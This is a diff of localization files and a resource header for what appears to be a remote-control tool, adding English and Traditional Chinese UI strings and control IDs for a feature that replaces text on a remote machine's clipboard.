|
||||||
|
替换=Replace
|
||||||
替换图标=Replace Icon
|
替换图标=Replace Icon
|
||||||
发送文件=Send File
|
发送文件=Send File
|
||||||
历史主机=Host History
|
历史主机=Host History
|
||||||
@@ -1831,3 +1832,4 @@ IOCP
|
|||||||
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system.
|
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=Note: The macOS binary has been modified, invalidating its code signature. Running it directly will be killed by the system.
|
||||||
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically).
|
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=Recommended: Copy to macOS and run install.sh (the script re-signs automatically).
|
||||||
或手动重签:=Or re-sign manually:
|
或手动重签:=Or re-sign manually:
|
||||||
|
<请输入文本用于替换远程剪切板>=<Please input text to replace remote clipboard>
|
||||||
|
|||||||
@@ -105,6 +105,7 @@ RTT=RTT
|
|||||||
解密数据=解密資料
|
解密数据=解密資料
|
||||||
画板=繪圖板
|
画板=繪圖板
|
||||||
屏幕墙=螢幕牆
|
屏幕墙=螢幕牆
|
||||||
|
替换=替換
|
||||||
替换图标=替換圖示
|
替换图标=替換圖示
|
||||||
发送文件=傳送檔案
|
发送文件=傳送檔案
|
||||||
历史主机=歷史主機
|
历史主机=歷史主機
|
||||||
@@ -1822,3 +1823,4 @@ IOCP
|
|||||||
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效,直接執行會被系統強制終止。
|
提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。=提示: macOS 端 binary 已被修改導致簽章失效,直接執行會被系統強制終止。
|
||||||
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。
|
推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。=推薦: 複製到 macOS 後執行 install.sh 安裝 (腳本會自動重新簽章)。
|
||||||
或手动重签:=或手動重新簽章:
|
或手动重签:=或手動重新簽章:
|
||||||
|
<请输入文本用于替换远程剪切板>=<请输入文本用于替换远程剪切板>
|
||||||
|
|||||||
@@ -731,8 +731,11 @@
|
|||||||
#define IDC_STATIC_PLUGIN_INTERVAL 2537
|
#define IDC_STATIC_PLUGIN_INTERVAL 2537
|
||||||
#define IDC_STATIC_PLUGIN_COUNTER 2538
|
#define IDC_STATIC_PLUGIN_COUNTER 2538
|
||||||
#define IDC_COMBO_TRIGGER_TYPE 2539
|
#define IDC_COMBO_TRIGGER_TYPE 2539
|
||||||
|
#define IDC_EDIT_CLIPBOARD 2539
|
||||||
#define IDC_LIST_TRIGGER_PLUGINS 2540
|
#define IDC_LIST_TRIGGER_PLUGINS 2540
|
||||||
|
#define IDC_EDIT_TEXTRULE 2540
|
||||||
#define IDC_BTN_TRIGGER_ADD 2541
|
#define IDC_BTN_TRIGGER_ADD 2541
|
||||||
|
#define IDC_BTN_APPLY_TEXTRULE 2541
|
||||||
#define IDC_BTN_TRIGGER_REMOVE 2542
|
#define IDC_BTN_TRIGGER_REMOVE 2542
|
||||||
#define IDC_LIST_TRIGGERS 2543
|
#define IDC_LIST_TRIGGERS 2543
|
||||||
#define IDC_STATIC_TRIGGER_TYPE 2544
|
#define IDC_STATIC_TRIGGER_TYPE 2544
|
||||||
@@ -979,7 +982,7 @@
|
|||||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||||
#define _APS_NEXT_RESOURCE_VALUE 373
|
#define _APS_NEXT_RESOURCE_VALUE 373
|
||||||
#define _APS_NEXT_COMMAND_VALUE 33048
|
#define _APS_NEXT_COMMAND_VALUE 33048
|
||||||
#define _APS_NEXT_CONTROL_VALUE 2539
|
#define _APS_NEXT_CONTROL_VALUE 2542
|
||||||
#define _APS_NEXT_SYMED_VALUE 105
|
#define _APS_NEXT_SYMED_VALUE 105
|
||||||
#endif
|
#endif
|
||||||
#endif
|
#endif
|
||||||
|
|||||||
Reference in New Issue
Block a user